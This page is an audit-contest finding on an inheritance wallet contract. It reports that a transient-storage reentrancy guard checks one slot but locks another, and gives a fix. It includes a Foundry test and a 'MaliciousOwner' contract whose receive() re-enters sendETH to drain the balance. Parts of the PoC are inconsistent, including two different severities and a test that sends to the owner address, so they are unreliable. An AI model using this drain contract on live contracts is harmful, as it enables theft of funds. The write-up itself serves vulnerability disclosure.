Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Issues with the NonReentrant Functionality Due to Incorrect Transient Storage Usage

balamurugannagaraja

Issues with the NonReentrant Functionality Due to Incorrect Transient Storage Usage

Summary

The InheritanceManager contract's sendETH function is restricted to the contract owner. However, despite this restriction, the nonReentrant modifier fails to work correctly due to an incorrect transient storage slot usage. This flaw allows a reentrancy attack, enabling the owner (or a compromised owner account) to repeatedly call sendETH within a single transaction, effectively draining the entire ETH balance of the contract.

Impact

An attacker who gains control over the contract owner (through phishing, private key compromise, or social engineering) can fully drain the ETH balance by exploiting this bug. Even though the function is onlyOwner, the incorrect nonReentrant modifier does not prevent reentrancy as intended.

Severity: Medium

  • Impact: High (Complete loss of funds)

  • Likelihood: Medium (Requires owner compromise)

  • Affected Function: sendETH

Vulnerability Details

Issue: Incorrect Transient Storage Slot Usage in nonReentrant Modifier

The nonReentrant modifier aims to prevent reentrancy using transient storage (tstore and tload), but it contains an implementation mistake:

modifier nonReentrant() {
assembly {
if tload(1) { revert(0, 0) } // Reads from slot 1
tstore(0, 1) // Stores in slot 0
}
_;
assembly {
tstore(0, 0) // Reset
}
}

What Goes Wrong?

  1. The modifier checks for a lock in slot 1 (tload(1)).

  2. The modifier sets the lock in slot 0 (tstore(0, 1)).

  3. Since slot 1 is never written to, the reentrancy check always passes, allowing the function to be recursively called.

Why onlyOwner Is Not Enough

Even though sendETH is protected by onlyOwner, this does not prevent reentrancy. A malicious or compromised owner can still reenter the function before the lock is applied, draining all ETH.

Proof of Concept (PoC) - Reentrancy Attack Exploit

A malicious owner can deploy a helper contract (MaliciousOwner) to exploit the sendETH function.

Attack Scenario

  1. The owner deploys MaliciousOwner, funding InheritanceManager with 100 ETH.

  2. The owner calls sendETH(1 ether, address(attacker)), receiving 1 ETH.

  3. In the receive() function, the owner reenters sendETH before the function completes.

  4. This process repeats until all ETH is drained from the contract.

Test Case Demonstrating the Attack

function testReentrancyAttack() public {
vm.startPrank(owner);
​
// Ensure contract is funded
assertEq(address(im).balance, 100 ether);
​
console.log("Before attack:");
console.log("InheritanceManager balance:", address(im).balance);
console.log("Owner balance:", address(owner).balance);
​
// Owner calls sendETH, triggering reentrancy attack
im.sendETH(1 ether, address(owner));
​
console.log("After attack:");
console.log("InheritanceManager balance:", address(im).balance);
console.log("Owner balance:", address(owner).balance);
​
// After attack, InheritanceManager should have 0 ETH
assertEq(address(im).balance, 0);
assertEq(address(owner).balance, 100 ether);
​
vm.stopPrank();
}

Attack Contract (MaliciousOwner)

contract MaliciousOwner {
InheritanceManager target;
​
constructor(address _target) {
target = InheritanceManager(_target);
}
​
function exploit() external {
target.sendETH(1 ether, address(this)); // Start attack
}
​
receive() external payable {
uint256 balance = address(target).balance;
if (balance > 0) {
target.sendETH(balance, address(this)); // Reenter
}
}
}

Recommendation

Fix: Correct Transient Storage Slot Usage

Modify the nonReentrant modifier to read and write to the same transient storage slot (0 or 1 consistently).

Fixed Code:

modifier nonReentrant() {
assembly {
if tload(0) { revert(0, 0) } // Reads from the correct slot
tstore(0, 1) // Stores in the same slot
}
_;
assembly {
tstore(0, 0) // Resets correctly
}
}

Conclusion

This vulnerability allows a full reentrancy attack due to incorrect transient storage slot usage in the nonReentrant modifier. Despite being an onlyOwner function, the broken modifier enables the contract's funds to be drained by a compromised or malicious owner. The recommended fix ensures that the lock is properly enforced, preventing unauthorized recursive calls. Given the severity and ease of exploitation, this issue should be addressed immediately.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong value in nonReentrant modifier

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.